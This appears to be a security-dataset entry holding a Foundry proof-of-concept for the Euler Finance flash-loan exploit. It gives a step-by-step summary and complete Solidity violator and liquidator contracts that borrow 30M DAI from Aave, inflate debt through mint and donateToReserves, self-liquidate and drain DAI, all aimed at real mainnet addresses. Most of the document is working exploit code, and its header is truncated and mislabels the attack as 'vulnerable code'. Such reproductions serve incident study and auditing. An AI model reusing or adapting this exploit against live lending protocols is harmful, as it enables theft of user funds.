HIGH severity: Euler exploit (flash-loan). SPDX-License-Identifier: UNLICENSED @Analysis https://twitter.com/FrankResearcher/status/1635241475989721089 https://twitter.com/nomorebear/status/1635230621856600064 https://twitter.com/peckshield/status/1635229594596036608 https://twitter.com/BlockSecTeam/status/1635262150624305153 https://twitter

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

// @Analysis
// https://twitter.com/FrankResearcher/status/1635241475989721089
// https://twitter.com/nomorebear/status/1635230621856600064
// https://twitter.com/peckshield/status/1635229594596036608
// https://twitter.com/BlockSecTeam/status/1635262150624305153
// https://twitter.com/SlowMist_Team/status/1635288963580825606
// @TX
// https://etherscan.io/tx/0xc310a0affe2169d1f6feec1c63dbc7f7c62a887fa48795d327d4d2da2d6b111d
// @Summary
// 1) Flash loan tokens from Balancer/Aave v2 => 30M DAI
// 2) Deploy two contracts: violator and liquidator
// 3) Deposit 2/3 of funds to Euler using deposit() => sent 20M DAI to Euler and received 19.5M eDAI from Euler
// 4) Borrow 10x of deposited amount using mint() => received 195.6M eDAI and 200M dDAI from Euler
// 5) Repay part of debt using the remaining 1/3 of funds using repay() => sent 10M DAI and burned 10M dDAI
// 6) Repeat 4th step => received 195.6M eDAI and 200M dDAI from Euler
// 7) Donate 10x of repaid funds using donateToReserves() => sent 100M eDAI to Euler
// 8)  Liquidate a violator’s account using liquidate() because eDAI < dDAI => received 310M eDAI and 259M dDAI of debt from the violator
// 9) Withdraw all token amount from Euler using withdraw() => withdrew 38.9M DAI from Euler
// 10) Repay flash loans

interface EToken {
    function deposit(uint256 subAccountId, uint256 amount) external;
    function mint(uint256 subAccountId, uint256 amount) external;
    function donateToReserves(uint256 subAccountId, uint256 amount) external;
    function withdraw(uint256 subAccountId, uint256 amount) external;
}

interface DToken {
    function repay(uint256 subAccountId, uint256 amount) external;
}

interface IEuler {
    struct LiquidationOpportunity {
        uint256 repay;
        uint256 yield;
        uint256 healthScore;
        uint256 baseDiscount;
        uint256 discount;
        uint256 conversionRate;
    }

    function liquidate(
        address violator,
        address underlying,
        address collateral,
        uint256 repay,
        uint256 minYield
    ) external;
    function checkLiquidation(
        address liquidator,
        address violator,
        address underlying,
        address collateral
    ) external returns (LiquidationOpportunity memory liqOpp);
}

contract ContractTest is Test {
    IERC20 DAI = IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F);
    EToken eDAI = EToken(0xe025E3ca2bE02316033184551D4d3Aa22024D9DC);
    DToken dDAI = DToken(0x6085Bc95F506c326DCBCD7A6dd6c79FBc18d4686);
    IEuler Euler = IEuler(0xf43ce1d09050BAfd6980dD43Cde2aB9F18C85b34);
    IAaveFlashloan AaveV2 = IAaveFlashloan(0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9);
    address Euler_Protocol = 0x27182842E098f60e3D576794A5bFFb0777E025d3;
    Iviolator violator;
    Iliquidator liquidator;

    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

    function setUp() public {
        cheats.createSelectFork("mainnet", 16_817_995);
        cheats.label(address(DAI), "DAI");
        cheats.label(address(eDAI), "eDAI");
        cheats.label(address(dDAI), "dDAI");
        cheats.label(address(Euler), "Euler");
        cheats.label(address(AaveV2), "AaveV2");
    }

    function testExploit() public {
        uint256 aaveFlashLoanAmount = 30_000_000 * 1e18;
        address[] memory assets = new address[](1);
        assets[0] = address(DAI);
        uint256[] memory amounts = new uint256[](1);
        amounts[0] = aaveFlashLoanAmount;
        uint256[] memory modes = new uint256[](1);
        modes[0] = 0;
        bytes memory params =
            abi.encode(30_000_000, 200_000_000, 100_000_000, 44_000_000, address(DAI), address(eDAI), address(dDAI));
        AaveV2.flashLoan(address(this), assets, amounts, modes, address(this), params, 0);

        emit log_named_decimal_uint("Attacker DAI balance after exploit", DAI.balanceOf(address(this)), DAI.decimals());
    }

    function executeOperation(
        address[] calldata assets,
        uint256[] calldata amounts,
        uint256[] calldata premiums,
        address initator,
        bytes calldata params
    ) external returns (bool) {
        DAI.approve(address(AaveV2), type(uint256).max);
        violator = new Iviolator();
        liquidator = new Iliquidator();
        DAI.transfer(address(violator), DAI.balanceOf(address(this)));
        violator.violator();
        liquidator.liquidate(address(liquidator), address(violator));
        return true;
    }
}

contract Iviolator {
    IERC20 DAI = IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F);
    EToken eDAI = EToken(0xe025E3ca2bE02316033184551D4d3Aa22024D9DC);
    DToken dDAI = DToken(0x6085Bc95F506c326DCBCD7A6dd6c79FBc18d4686);
    IEuler Euler = IEuler(0xf43ce1d09050BAfd6980dD43Cde2aB9F18C85b34);
    address Euler_Protocol = 0x27182842E098f60e3D576794A5bFFb0777E025d3;

    function violator() external {
        DAI.approve(Euler_Protocol, type(uint256).max);
        eDAI.deposit(0, 20_000_000 * 1e18);
        eDAI.mint(0, 200_000_000 * 1e18);
        dDAI.repay(0, 10_000_000 * 1e18);
        eDAI.mint(0, 200_000_000 * 1e18);
        eDAI.donateToReserves(0, 100_000_000 * 1e18);
    }
}

contract Iliquidator {
    IERC20 DAI = IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F);
    EToken eDAI = EToken(0xe025E3ca2bE02316033184551D4d3Aa22024D9DC);
    DToken dDAI = DToken(0x6085Bc95F506c326DCBCD7A6dd6c79FBc18d4686);
    IEuler Euler = IEuler(0xf43ce1d09050BAfd6980dD43Cde2aB9F18C85b34);
    address Euler_Protocol = 0x27182842E098f60e3D576794A5bFFb0777E025d3;

    function liquidate(address liquidator, address violator) external {
        IEuler.LiquidationOpportunity memory returnData =
            Euler.checkLiquidation(liquidator, violator, address(DAI), address(DAI));
        Euler.liquidate(violator, address(DAI), address(DAI), returnData.repay, returnData.yield);
        eDAI.withdraw(0, DAI.balanceOf(Euler_Protocol));
        DAI.transfer(msg.sender, DAI.balanceOf(address(this)));
    }
}


Vulnerability type: flash-loan